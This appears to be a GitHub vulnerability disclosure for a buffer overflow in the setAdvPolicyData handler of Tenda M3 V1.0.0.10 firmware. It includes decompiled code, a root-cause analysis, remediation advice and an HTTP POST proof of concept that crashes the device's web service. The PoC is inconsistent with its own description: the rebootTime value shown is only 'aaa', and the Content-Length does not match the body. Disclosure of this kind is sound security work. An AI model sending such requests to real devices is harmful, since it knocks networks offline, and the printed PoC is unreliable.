New issue

Buffer Overflow Vulnerability in Tenda M3 V1.0.0.10 `setAdvPolicyData` Interface #2

Open

Moxxkidd opened 2 weeks ago · edited by Moxxkidd Edits Owner

Vulnerability Title

Buffer Overflow Vulnerability in Tenda M3 V1.0.0.10 `setAdvPolicyData` Interface

Information

Vendor: Shenzhen Tenda Technology Co., Ltd.
Vendor Website: https://www.tenda.com.cn/
Vendor Mail: xujianyun@tenda.cn
Affected Product: Tenda M3 Access Controller(M3)
Affected Firmware Version: V1.0.0.10
Firmware Download Address: https://www.tenda.com.cn/material/show/2645

Overview

A serious buffer overflow vulnerability exists in the `setAdvPolicyData` function of Tenda M3 V1.0.0.10 firmware, specifically in its subroutine `sub_648D4`. The vulnerability is caused by the following unsafe code logic:

```
strncpy(dest, src, v16 - src);
```

The copy length `v16 - src` is directly calculated from user-controlled input, while the program does not properly validate the actual size of the destination buffer `dest`. As a result, an attacker can craft malicious parameters to trigger a buffer overflow and cause denial of service (DoS) or other security impacts.

Vulnerability Details

1. Interface Invocation Location

According to the reverse engineering results, the vulnerable function is invoked through the Web interface `setAdvPolicyData`, and the `policyType` parameter affects the subsequent processing flow.

[Screenshot Placeholder 1: Interface invocation location]

```
1  int __fastcall formSetAdvancePolicy(int a1, int a2, int a3)
2  {
3    int result; // r0
4    char *s1; // [sp+14h] [bp-10h]
5
6    s1 = (char *)webget(a1, "policyType", "reboot");
7    printf("policytype=%s\n", s1);
8    if ( !strcmp(s1, "reboot") )
9      return sub_648D4(a1);
10   if ( !strcmp(s1, "alert") )
11     return sub_64E90(a1, a2, a3);
12   if ( !strcmp(s1, "deploy") )
13     return sub_6583C(a1);
14   result = strcmp(s1, "pwd");
15   if ( !result )
16     return sub_654E0(a1, a2, a3);
17   return result;
18 }
```

---

2. Input Source Analysis

In the relevant processing logic, `src` is obtained from the user-controlled parameter `rebootTime`, which is passed into the program through the Web interface. The program then searches for the colon character `:` in this string and stores the result in `v16`.

[Screenshot Placeholder 2: Parameter retrieval and processing logic]

```
31  v14 = 0;
32  v15 = 0;
33  nptr = (char *)webget(a1, "action", "0");
34  s = (char *)webget(a1, "policyName", "0");
35  nptr_1 = (char *)webget(a1, "ledEn", "0");
36  nptr_2 = (char *)webget(a1, "rebootEn", "0");
37  nptr_3 = (char *)webget(a1, "rebootType", "0");
38  src_1 = (char *)webget(a1, "rebootTime", "23:00");
39  s_1 = (char *)webget(a1, "rebootDay", "0,0,0,0,0,0,0");
40  ptr_2 = 0;
41  ptr = 0;
42  v28 = 0;
43  if ( !*s || strlen(s) > 0x20 || !strcmp(s, s2) || strchr(s, 44) )
44  {
45    v28 = 1;
46  }
47  else
48  {
49    v19 = 0;
50    ptr = malloc(0x3Cu);
51    if ( ptr )
52    {
53      memset(ptr, 0, 0x3Cu);
54      ptr_1 = ptr;
55      v19 = (char *)ptr + 20;
56      *((_WORD *)ptr + 2) = 27;
57      *ptr_1 = 1;
58      ptr_1[1] = atoi(nptr);
59      *((_DWORD *)ptr_1 + 4) = 40;
60      memcpy(v19 + 3, s, 0x20u);
61      *(_DWORD *)dest_1 = 0;
62      v11 = 0;
63      *(_DWORD *)dest = 0;
64      v9 = 0;
65      src = src_1;
66      v16 = strchr(src_1, 58);
```

3. Root Cause

The program later executes the following logic:

```
strncpy(dest, src, v16 - src);
```

Here, the length parameter `v16 - src` is calculated directly from the position of the colon in the user-supplied `rebootTime` string, but the code does not verify whether this length exceeds the size of the destination buffer `dest`. An attacker only needs to construct an overly long `rebootTime` value containing a colon to cause an out-of-bounds write through `strncpy`, ultimately resulting in a buffer overflow.

[Screenshot Placeholder 3: Dangerous copy operation]

```
52    {
53      memset(ptr, 0, 0x3Cu);
54      ptr_1 = ptr;
55      v19 = (char *)ptr + 20;
56      *((_WORD *)ptr + 2) = 27;
57      *ptr_1 = 1;
58      ptr_1[1] = atoi(nptr);
59      *((_DWORD *)ptr_1 + 4) = 40;
60      memcpy(v19 + 3, s, 0x20u);
61      *(_DWORD *)dest_1 = 0;
62      v11 = 0;
63      *(_DWORD *)dest = 0;
64      v9 = 0;
65      src = src_1;
66      v16 = strchr(src_1, 58);
67      if ( v16 )
68      {
69        strncpy(dest, src, v16 - src);
70        strcpy(dest_1, v16 + 1);
71      }
```

Proof of Concept (PoC)

An attacker can trigger the vulnerability by sending the following HTTP request to the target device:

```
POST /goform/setAdvPolicyData HTTP/1.1
Host: 192.168.1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
Referer: http://192.168.1.1/main.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: password=trzmji
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 945

policyType=reboot&action=0&policyName=ctf_test&ledEn=0&rebootEn=0&rebootType=0&rebootTime=aaa
```

In the above PoC, the attacker supplies an excessively long `rebootTime` parameter and appends `:00` at the end, thereby controlling the length calculation result of `v16 - src` and triggering the dangerous `strncpy` call, which causes abnormal behavior on the device.

Triggered Result

After successful exploitation, the target device may become inaccessible, the service may stop responding, or the device may behave abnormally. The provided materials also include a screenshot showing a timeout page after the vulnerability is triggered.

[Screenshot Placeholder 4: Device abnormal behavior / page timeout]

Impact

This vulnerability may lead to the following security impacts:

- Crash of the device's Web management service
- Inaccessibility of the management interface
- Denial of service (DoS) state on the device
- Potential for further exploitation under specific conditions

---

Remediation

1. Avoid dangerous string operations that directly use lengths derived from user-controlled input.
2. Perform strict length validation and format validation on parameters such as `rebootTime` received from the Web interface.
3. Use safer string handling functions and ensure the copy length never exceeds the size of the destination buffer.
4. It is recommended that the vendor release a patched firmware version as soon as possible and that affected users upgrade promptly.

Metadata

Assignees

No one assigned

Labels

No labels

Projects

No projects

Milestone

No milestone

Relationships

None yet

Development

Code with agent mode

No branches or pull requests

Participants